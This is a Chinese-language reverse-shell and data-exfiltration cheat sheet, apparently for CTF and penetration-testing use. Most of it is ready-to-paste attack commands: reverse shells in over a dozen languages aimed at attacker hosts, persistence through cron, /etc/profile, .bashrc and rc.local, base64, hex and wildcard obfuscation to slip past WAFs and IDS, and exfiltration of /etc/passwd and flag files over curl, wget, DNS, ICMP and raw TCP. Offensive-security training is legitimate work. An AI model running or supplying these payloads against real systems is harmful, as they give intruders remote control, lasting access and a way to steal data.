前言

拿到命令执行点后,下一步往往是把 shell 弹出来,或者把执行结果带出来。反弹 shell 的方法很多,但不同环境可用工具不同(可能没有 nc、没有 /dev/tcp、没有 python),所以手里备一套完整的弹 shell 字典很实用。

本文将常见的反弹 shell 和外带数据方法做了系统整理,覆盖 bash、Python、Perl、PHP、Ruby、nc、socat、telnet、OpenSSL、PowerShell 等十余种方式,以及 curl、DNS、ICMP 等多种外带技巧。


一、反弹 Shell

通用前提: 攻击机执行 nc -lvvp 4444 开启监听,以下命令中的 IP 和端口请替换为攻击机的实际地址。

1.1 Bash 反弹

最常用的方式,前提是目标存在 /dev/tcp(多数 Linux 发行版编译 bash 时都带这个特性)。

1
2
3
4
5
# 标准版
bash -i >& /dev/tcp/192.168.254.1/4444 0>&1

# 一行版
bash -c "bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1"

解读:

符号 含义
>& 将 stdout 和 stderr 都重定向到后面的文件描述符
/dev/tcp/IP/PORT bash 内建的 TCP 连接,相当于创建一个到目标 IP:端口的 socket
0>&1 将 stdin(fd 0)也指向同一个 socket

所以整条命令的效果是:stdin、stdout、stderr 全部连接到一个 TCP socket → 攻击者的 nc 获得了交互式 shell。

其他 bash 写法:

1
2
3
4
5
# exec 方式
exec 5<>/dev/tcp/ATTACKER_IP/4444; cat <&5 | while read line; do $line 2>&5 >&5; done

# 另一种重定向顺序
bash -i 5<>/dev/tcp/ATTACKER_IP/4444 0<&5 1>&5 2>&5

bash + curl 组合反弹

当目标不能直接 bash -i >& /dev/tcp(如某些容器精简版 bash),可以将反弹命令托管在 VPS 上的文件里:

攻击机 index.html/index.php:

1
bash -i >& /dev/tcp/攻击机IP/4444 0>&1

攻击机同时监听:

1
nc -lvvp 4444

目标执行:

1
2
3
curl 192.168.254.1|bash
# 或
wget -O- 192.168.254.1|bash

1.2 nc / netcat 反弹

1
2
3
4
5
6
7
8
9
10
11
# 传统 nc(支持 -e 参数)
nc -e /bin/sh 192.168.1.1 4444

# OpenBSD nc(不支持 -e)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP 4444 > /tmp/f

# 简化版
nc -c /bin/sh ATTACKER_IP 4444

# busybox nc
busybox nc ATTACKER_IP 4444 -e /bin/sh

1.3 Python 反弹

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 标准版
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.xxx.xxx.72",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

# 一行可读版
python -c 'import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.0.0.1",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])'

# python3 使用 pty 获得更稳定的 shell
python3 -c 'import socket,subprocess,os,pty
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.0.0.1",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/sh")'

1.4 PHP 反弹

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// exec 方式
php -r '$sock=fsockopen("10.0.0.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

// shell_exec 方式
php -r '$sock=fsockopen("10.0.0.1",4444);shell_exec("/bin/sh -i <&3 >&3 2>&3");'

// system 方式
php -r '$sock=fsockopen("10.0.0.1",4444);system("/bin/sh -i <&3 >&3 2>&3");'

// passthru 方式
php -r '$sock=fsockopen("10.0.0.1",4444);passthru("/bin/sh -i <&3 >&3 2>&3");'

// popen 方式
php -r '$sock=fsockopen("10.0.0.1",4444);$proc=popen("/bin/sh -i","w");while(1){fwrite($proc,fgets($sock));}'

// proc_open 完整版(最稳定)
php -r '
$sock=fsockopen("10.0.0.1",4444);
$proc=proc_open("/bin/sh",array(0=>$sock,1=>$sock,2=>$sock),$pipes);
'

1.5 Perl 反弹

1
2
3
4
perl -e 'use Socket;$i="10.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'

# 不用 use Socket 的版本
perl -MIO -e '$p=fork;exit,if($p);$c=IO::Socket::INET->new(PeerAddr=>"10.0.0.1:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);exec("/bin/sh -i");'

1.6 Ruby 反弹

1
2
3
4
ruby -rsocket -e 's=TCPSocket.new("10.0.0.1",4444);["/bin/sh","-i"].each{|c|IO.popen(c,"r+"){|io|STDIN.reopen(s);STDOUT.reopen(s);io.each{|l|s.write(l)}}}'

# exec 版
ruby -rsocket -e 'c=TCPSocket.new("10.0.0.1",4444);exec(sprintf("/bin/sh -i <&%d >&%d 2>&%d",c.fileno,c.fileno,c.fileno))'

1.7 Lua 反弹

1
lua -e 'require("socket");s=socket.tcp();s:connect("10.0.0.1",4444);s:setoption("keepalive",true);os.execute("/bin/sh -i <&3 >&3 2>&3");'

1.8 Golang 反弹

1
echo 'package main;import("os/exec"."net");func main(){c,_:=net.Dial("tcp","10.0.0.1:4444");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/shell.go && go run /tmp/shell.go

1.9 awk / gawk 反弹

1
2
3
4
5
# awk
awk 'BEGIN {s = "/inet/tcp/0/ATTACKER_IP/4444"; while(1) {do {printf "> " |& s; s |& getline c; if(c){while ((c |& getline) > 0) print $0 |& s; close(c)}} while(c != "exit"); close(s)}}'

# gawk (GNU awk)
gawk 'BEGIN {P=4444;S="> ";H="ATTACKER_IP";V="/inet/tcp/0/"H"/"P;while(1){do{printf S|&V;V|&getline c;if(c){while((c|&getline)>0)print $0|&V;close(c)}}while(c!="exit")}}'

1.10 Socat 反弹

1
2
3
4
5
# 攻击端
socat file:`tty`,raw,echo=0 TCP-L:4444

# 目标端
socat exec:'bash -li',pty,stderr,setsid,sigint,sane TCP:ATTACKER_IP:4444

socat 是一个比 nc 更强大的网络工具,编译好的静态二进制可以直接上传使用。

1.11 OpenSSL 加密反弹(绕过 IDS/WAF)

攻击端生成证书并监听:

1
2
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 4444

目标端:

1
rm /tmp/s; mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ATTACKER_IP:4444 > /tmp/s; rm /tmp/s

流量经过 TLS 加密,IDS 无法直接检测内容。

1.12 PowerShell(Windows)

1
2
3
4
5
# 基础版
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

# Nishang 脚本
powershell iex (New-Object Net.WebClient).DownloadString('http://YOUR_IP/Invoke-PowerShellTcp.ps1')

1.13 Java/JSP 反弹

1
2
3
4
<%
Runtime r = Runtime.getRuntime();
Process p = r.exec("/bin/bash -c 'exec 5<>/dev/tcp/10.0.0.1/4444; cat <&5 | while read line; do $line 2>&5 >&5; done'");
%>

1.14 telnet 反弹

nc/dev/tcp 都不可用时,可以用 telnet:

方法一(单管道):

1
mknod a p; telnet ATTACKER_IP 2333 0<a | /bin/bash 1>a

方法二(双管道,攻击机需开两个端口):

1
2
3
4
5
6
# 攻击端
nc -lvvp 2333
nc -lvvp 4000

# 目标端
telnet 47.101.57.72 2333 | /bin/bash | telnet 47.101.57.72 4000

二、Shell 升级(TTY 稳定化)

裸反弹 shell 往往不支持 tab 补全、Ctrl-C 会断连、没有伪终端。拿到 shell 后第一时间应该做升级。

2.1 Python pty

1
2
3
python3 -c 'import pty;pty.spawn("/bin/bash")'
# 或
python -c 'import pty;pty.spawn("/bin/bash")'

然后(在 shell 内):

1
2
3
4
export TERM=xterm
# Ctrl+Z 将 shell 挂到后台
stty raw -echo; fg
# 回车一次,再输入 reset

2.2 script 方式

1
2
3
script /dev/null -c /bin/bash
# 或
script -qc /bin/bash /dev/null

2.3 Socat 升级

在目标机上传 socat 后:

1
2
# 目标机
socat exec:'bash -li',pty,stderr,setsid,sigint,sane TCP:ATTACKER_IP:4444

三、定时任务反弹

将反弹 shell 写入 cron,实现持久化回调。

1
2
3
4
5
6
7
8
9
# 查看当前用户名(必须知道用户名才能写入正确的 cron 文件)
whoami

# 编辑 crontab
crontab -e
*/1 * * * * /bin/bash -c "/bin/bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1"

# 查看已设置的定时任务
crontab -l

有 root 权限时直接写系统 cron(注意路径因发行版而异):

1
2
3
4
5
6
7
8
9
10
11
# CentOS/RHEL 系列
echo '*/1 * * * * /bin/bash -c "/bin/bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1"' >> /var/spool/cron/root
chmod 600 /var/spool/cron/root

# Debian/Ubuntu 系列
echo '*/1 * * * * /bin/bash -c "/bin/bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1"' >> /var/spool/cron/crontabs/root
chmod 600 /var/spool/cron/crontabs/root

# 重启 cron 服务使其生效
systemctl restart cron # Debian/Ubuntu
# service crond restart # CentOS/RHEL

也可以通过直接编辑文件的方式:

1
2
3
4
5
vim /var/spool/cron/crontabs/root
# 添加:
*/1 * * * * /bin/bash -c "/bin/bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1"

systemctl restart cron

其他持久化文件

1
2
3
4
5
6
7
8
# /etc/profile —— 用户登录 bash 时执行
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /etc/profile

# ~/.bashrc —— 用户打开交互式 bash 时执行
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> ~/.bashrc

# /etc/rc.local —— 系统启动时执行
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 &' >> /etc/rc.local

四、反弹 Shell 绕过技巧

4.1 命令 WAF 绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 空格绕过:${IFS}、$IFS$9、<、<>、{cat,/etc/passwd}
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
# 变为
bash${IFS}-i${IFS}>&${IFS}/dev/tcp/10.0.0.1/4444${IFS}0>&1

# 换行绕过
bash -c $'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'

# base64 编码绕过
echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE=' | base64 -d | bash

# hex 编码绕过
echo 62617368202d69203e26202f6465762f7463702f31302e302e302e312f3434343420303e2631 | xxd -r -p | bash

# 通配符绕过(/bin/bash → /???/b???)
/???/b??? -i >& /???/t??/10.0.0.1/4444 0>&1

# 变量拼接绕过
a=b;b=ash;$a$b -i >& /dev/tcp/10.0.0.1/4444 0>&1

4.2 端口复用与隧道

1
2
3
4
5
6
7
# SSH 隧道反弹(目标不出网时用)
ssh -R 4444:localhost:4444 user@ATTACKER_IP

# 利用已有端口复用(目标能出特定端口)
bash -i >& /dev/tcp/10.0.0.1/53 0>&1 # DNS 端口
bash -i >& /dev/tcp/10.0.0.1/80 0>&1 # HTTP 端口
bash -i >& /dev/tcp/10.0.0.1/443 0>&1 # HTTPS 端口

五、外带数据

当命令有回显但浏览器不显示(盲 RCE)、或者命令执行结果不能直接在 Web 页面中展示时,需要把数据”带出来”。

5.1 curl 文件外带

1
2
3
4
5
6
# POST 方式上传文件
curl -X POST -F xx=@flag.php http://YOUR_BURP_COLLABORATOR.oastify.com

# -X 指定请求方式
# -F 带文件上传,xx 是表单字段名(可随意修改)
# @ 后跟本地文件路径

5.2 curl 命令结果外带

1
2
3
4
5
6
7
8
9
10
# 将命令输出拼接到 URL 路径中
curl http://YOUR_DOMAIN/$(whoami)
curl http://YOUR_DOMAIN/`ls|head -1`
curl http://YOUR_DOMAIN/$(cat /flag | base64)

# 拼接多条结果
curl http://YOUR_DOMAIN/$(id)_$(pwd)_$(ls|base64)

# POST body 方式
curl -X POST -d "$(cat /etc/passwd)" http://YOUR_DOMAIN/

注意: URL 路径中的特殊字符(/&= 等)会被 curl 截断或导致请求失败。建议先 base64 编码再外带。

5.3 wget 外带

1
2
3
wget http://YOUR_DOMAIN/$(cat /flag | base64)
# 或者做 POST
wget --post-data="$(id)" http://YOUR_DOMAIN/

5.4 DNS 外带(最隐蔽)

当目标不出 HTTP 但 DNS 能出网时,可以用 DNS 查询把数据带出来。一次 DNS 请求最多传输约 63 字节(单个域名标签)。

1
2
3
4
5
6
7
8
# 直接拼接
nslookup $(whoami).YOUR_DOMAIN
ping -c 1 $(cat /flag).YOUR_DOMAIN

# 分段外带(长数据需要切分)
cat /etc/passwd | xxd -p -c 16 | while read line; do
nslookup $line.YOUR_DOMAIN
done

DNS 外带需要你控制一个域名的 NS 记录,在 DNS 服务器上抓包查看查询日志。工具推荐:Burp Collaborator、Interactsh、dnslog.cn。

5.5 ICMP 外带

1
2
3
4
# 利用 ping 的 -p 参数携带 hex 数据
cat /flag | xxd -p -c 16 | while read line; do
ping -c 1 -p $line ATTACKER_IP
done

攻击端用 tcpdump 抓 ICMP 包提取数据:

1
tcpdump -i eth0 icmp -X

ICMP 外带速度慢,稳定性一般,但能绕过只做 TCP/UDP 层过滤的防火墙。

5.6 /dev/tcp 外带

1
2
3
4
5
# 将文件内容直接通过 bash TCP 发送
cat /flag > /dev/tcp/ATTACKER_IP/4444

# 带命令结果的
echo "$(whoami):$(cat /flag)" > /dev/tcp/ATTACKER_IP/4444

攻击端只需 nc -lvvp 4444 接收。

5.7 base64 编码 + 分段外带

对于长文本内容(如源码、配置文件),建议 base64 编码后分段外带:

1
2
3
4
5
6
7
# 编码后分段(每 64 字节一段)
cat /flag | base64 | fold -w 64 | while read line; do
curl http://YOUR_DOMAIN/?d=${line}
done

# 或一次性发送(注意 URL 长度限制)
curl http://YOUR_DOMAIN/?d=$(cat /flag | base64 -w0)

5.8 nc 接收数据

1
2
3
4
5
6
7
8
# 目标端(发送文件)
nc ATTACKER_IP 4444 < /flag

# 目标端(发送命令输出)
(echo "=== hostname ==="; hostname; echo "=== id ==="; id) | nc ATTACKER_IP 4444

# 攻击端接收
nc -lvvp 4444 > received_data.txt

5.9 Python HTTP Server 回传

如果目标可以访问攻击机的 HTTP 服务:

1
2
3
4
5
# 攻击机启动 HTTP 服务器
python3 -m http.server 8888

# 目标机上传文件
curl -F "file=@/flag" http://ATTACKER_IP:8888/

5.10 外带技巧对比

方式 隐蔽性 稳定性 数据量 适用场景
curl 路径拼接 低(URL 中明显) 小(63 字节内) 快速测试
curl POST 上传 文件外带
DNS 高(看起来是正常 DNS 查询) 小(需分段) 不出网 HTTP
ICMP 小(需分段) 防火墙仅放行 ICMP
nc / /dev/tcp 内网直连

六、快速参考:按语言选择

拿到命令执行点后,根据目标环境选用对应方法:

1
2
3
4
5
6
7
8
9
10
11
有 bash + /dev/tcp    → bash -i >& /dev/tcp/IP/PORT 0>&1
有 python → python -c '...'
有 nc (支持 -e) → nc -e /bin/sh IP PORT
有 nc (不支持 -e) → mkfifo + nc 管道方式
有 php → php -r '...fsockopen...'
有 perl → perl -e 'use Socket;...'
有 ruby → ruby -rsocket -e '...'
有 lua + luasocket → lua -e 'require("socket");...'
有 socat → socat exec:... TCP:IP:PORT
有 OpenSSL → openssl 加密反弹
Windows → PowerShell

七、快速参考:按外带条件选择

1
2
3
4
5
6
7
有 curl 且回显在 URL 中     → curl http://DOMAIN/$(cmd)
有 curl 且可 POST → curl -F file=@/flag DOMAIN
DNS 出网 → nslookup $(cmd).DOMAIN
ICMP 出网 → ping -p hex_data IP
直接 TCP 出网 → cat /flag > /dev/tcp/IP/PORT
有 wget → wget http://DOMAIN/$(cmd)
内置 HTTP Server → curl -F file=@/flag http://ATTACKER_IP:8888

参考